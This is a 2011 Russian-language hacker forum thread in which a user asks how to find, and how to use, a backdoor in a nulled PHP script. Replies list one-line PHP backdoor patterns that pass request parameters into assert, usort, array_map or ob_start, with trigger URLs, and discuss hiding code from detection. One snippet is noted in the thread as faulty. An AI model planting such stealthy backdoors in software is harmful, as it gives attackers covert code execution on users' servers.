Бэкдор

Discussion in 'PHP' started by plaeer, 15 Mar 2011.

  1. plaeer

    plaeer New Member

    Joined:
    8 Mar 2011
    Messages:
    149
    Likes Received:
    3
    Reputations:
    1
    Всем привет, имеется скриптик, известно что автором был оставлен бэкдор. Как мне его найти и как им пользоваться?
    Спасибо.
     
  2. plaeer

    plaeer New Member

    Joined:
    8 Mar 2011
    Messages:
    149
    Likes Received:
    3
    Reputations:
    1
    evla я уже искал, безрезультатно, preg_replace - надо будет посмотреть. Есть ещё какие -нибудь варианты бэкдоров?
     
  3. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    169
    Reputations:
    65
    da polno, ot assert() do $a($b)
     
  4. b3

    b3 Moderator

    Joined:
    5 Dec 2004
    Messages:
    2,041
    Likes Received:
    933
    Reputations:
    199
    |qbz|
    Полно? Приведи еще хотя бы парочку примеров бэкдоров. Не считаются те которые в колбэках используют eval()
     
    _________________________
  5. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    plaeer просмотреть построчно весь код, искать то, чего там быть не должно. А что за скрипт? ^^

    b3 почти любая функция в определенных условиях может стать бекдором. И да, выполнением кода не стоит ограничивать фантазию
     
    _________________________
    1 person likes this.
  6. b3

    b3 Moderator

    Joined:
    5 Dec 2004
    Messages:
    2,041
    Likes Received:
    933
    Reputations:
    199
    Согласен, можно загрузчик файлов сделать в темп папку и последующий инклуд етих файлов, но меня интересует тема бэкдоров с минимальным кодом в 1-3 строки, желательно выполнение кода.
     
    _________________________
  7. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Функция очень много, скинь мне в ПМ код,я найду. И повозсожность ссылку на сайт с ним(Для проверки)
     
  8. plaeer

    plaeer New Member

    Joined:
    8 Mar 2011
    Messages:
    149
    Likes Received:
    3
    Reputations:
    1
    http://skripters.com/raznoe_skripti/7226-lightmon-2.1-nulled.html

    PS:Если будет что в паблик не вылаживайте, а то начнётся ))
     
  9. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Залей на zalil.ru и кинь ссылку сюда, врят ли кто то будет регистрироваться.
     
  10. plaeer

    plaeer New Member

    Joined:
    8 Mar 2011
    Messages:
    149
    Likes Received:
    3
    Reputations:
    1
    А забыл про регистрацию
    http://depositfiles.com/ru/files/4wmgl88m2
    http://zalil.ru/30682074
     
    #10 plaeer, 16 Mar 2011
    Last edited: 16 Mar 2011
  11. b3

    b3 Moderator

    Joined:
    5 Dec 2004
    Messages:
    2,041
    Likes Received:
    933
    Reputations:
    199
    А к чему был выложен данный скрипт? Какое отношение он имеет к бэкдорам, я чет не вкуриваю.
     
    _________________________
  12. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    169
    Reputations:
    65
    Code:
    1. $a($b);
    При register_globals=on код будет срабатывать по линку типа script.php?a=assert&b=phpinfo();

    Code:
    2. $f = create_function(){return $_REQUEST['a'];} $f(0);
    Code:
    3. usort($_REQUEST['a'],$_REQUEST['b'])
    Code:
    4. array_map($_REQUEST[a], $_REQUEST[b]);
    //script.php?a=-1-&b[]=phpinfo
    Code:
    5. ob_start($_REQUEST['a']);
    и еще дофига, палить небуду
     
    3 people like this.
  13. b3

    b3 Moderator

    Joined:
    5 Dec 2004
    Messages:
    2,041
    Likes Received:
    933
    Reputations:
    199
    |qbz|
    В этом направлении я не думал даже, а ведь точно, хороший способ скрыть код не используя "палевные" функции. У тебя ошибка в create_function но то не суть.
    Да уже и не надо и так все ясно =)
     
    _________________________